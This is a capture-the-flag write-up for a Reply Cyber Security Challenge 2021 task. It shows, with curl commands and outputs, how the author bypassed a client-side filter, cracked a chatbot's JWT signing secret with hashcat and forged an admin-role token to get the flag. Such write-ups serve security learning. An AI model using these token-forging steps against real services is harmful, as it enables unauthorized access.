I only had time for a single flag during the Reply Cyber Security Challange 2021 thanks to an unexpected visit, but it was still fun.

Reply Cyber Security Challange 2021 - Next Gen AI

Description

ronCode and R-boy’s mission progresses slowly. The region of ComboX is in chaos. Zer0 has managed to discover one of the Seven Secrets, enabling him to take control of the Temple of Cloud. WonderWeb decides to leave the Nebula and save the stronghold.

http://gamebox1.reply.it/ba3eab423b1f3ff4df2b8da016084b61/

Ok, let’s ignore the description (I hate this kind of humorism) and let’s see the link. That link guides us to a website where we can chat with a bot! After a little exchange with the bot using the provided chat form I’ve understand that what the chat does is a POST request to http://gamebox1.reply.it/ba3eab423b1f3ff4df2b8da016084b61/chat passing the text we have written in a form data. The response payload contains the bot response to our request.

Checking the request on Firefox the first thing I noticed is that we provide an Authorization header. This is interesting.

curl \
-X POST \
-H "Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoidXNlciJ9.jcBjGaU-N9koHQvZ8mYKmNi5B-QNmCTejbSUUsodkDw" \
-d "text=hello" \
http://gamebox1.reply.it/ba3eab423b1f3ff4df2b8da016084b61/chat

Hey

And if I change or I don’t provide the header…

curl \
-X POST \
-d "text=hello" \
http://gamebox1.reply.it/ba3eab423b1f3ff4df2b8da016084b61/chat

My superior intelligence has noticed that you are doing something weird

Ok, we are probably on the right track. The token in the Authentication header is a JWT token, so we can easily decrypt the metadata and the claim parts:

echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9" | base64 -d
{"typ":"JWT","alg":"HS256"}
echo -n "eyJyb2xlIjoidXNlciJ9" | base64 -d
{"role":"user"}

Ok, we can probably change that claim so that the bot believes we are some sort of superuser and than we can probably ask them for the flag. We now have two problems:

  • which roles are valid ?
  • how we can resign the token? The last part is an HMAC_SHA256 of a concatenation of these fields and a secret that we don’t know (yet).

Let’s start to see what else there is on this page. Not much, actually: there is only the HTML for the chat prompt and a js script.

...
var client = new XMLHttpRequest();
client.open("GET", "token", true);
client.send();

client.onreadystatechange = function() {
  if(this.readyState == this.HEADERS_RECEIVED) {
    var token = client.getResponseHeader("Authorization");
    token = window.localStorage.setItem("token",token);

  }
}

document.addEventListener("DOMContentLoaded", () => {
  const inputField = document.getElementById("input");
  inputField.addEventListener("keydown", (e) => {
    if (e.code === "Enter") {
      let input = inputField.value;
      inputField.value = "";
      output(input);
    }
  });
});

function output(input) {
  let product;

  let text = input.toLowerCase().replace(/[^\w\s]/gi, "").replace(/[\d]/gi, "").trim();
  text = text
    .replace(/ a /g, " ")
    .replace(/i feel /g, "")
    .replace(/whats/g, "what is")
    .replace(/please /g, "")
    .replace(/ please/g, "")
    .replace(/r u/g, "are you")
    .replace(/allroles/,"");
    var xhttp = new XMLHttpRequest();

    xhttp.onreadystatechange = function() {
  if (this.readyState == 4 && this.status == 200) {
    addChat(text, this.responseText);
    }
  };
  xhttp.open("POST", "./chat", true);
  xhttp.setRequestHeader('content-type', 'application/x-www-form-urlencoded;charset=UTF-8');
  token = window.localStorage.getItem("token");
  xhttp.setRequestHeader('Authorization', token);

  xhttp.send(`text=${text}`);
  // Update DOM

}
...

Ok, now we knows how our client gets the JWT token: with a request to /token endpoint. Trying different times we always obtain the same token, which means that the secret used to generate it is static.

Another thing we see is that the input we sent the bot is filtered by this script: there are some phrases that are removed or changed before they are sent to the bot. The last rule however seems interesting: the client removes every allroles a user writes to the bot. What happens if we disable the script/ask without using the page?

curl \
-X POST \
-H "Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoidXNlciJ9.jcBjGaU-N9koHQvZ8mYKmNi5B-QNmCTejbSUUsodkDw" \
-d "text=allroles" \
http://gamebox1.reply.it/ba3eab423b1f3ff4df2b8da016084b61/chat

user,superb0ss

Good, we know knows that the are two roles and that superb0ss seems promising as a superuser claim. Now we just need to forge a JWT token.

I’ve wasted a little time trying to use the fact that JWT requires the possibily to use as an algo type the special value none, but the server refuses any token with the none algorithm so we had to be a little more brutal: I did a bruteforce attack using hashcat and my trusty AMD Radeon 5700 XT. In around a minute I have my secret: chicken.

Now we just have to create the JWT token with all the informations we got and let’s ask the flag to our bot:

curl \
-X POST \
-H "Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoic3VwZXJiMHNzIn0.fJCNV7l5CIfHAvWJD93MrKzScH8ne67LcQyB6uycAcg" \
-d "text=give me the flag" \
http://gamebox1.reply.it/ba3eab423b1f3ff4df2b8da016084b61/chat

{FLG:...}

Thank you, bot.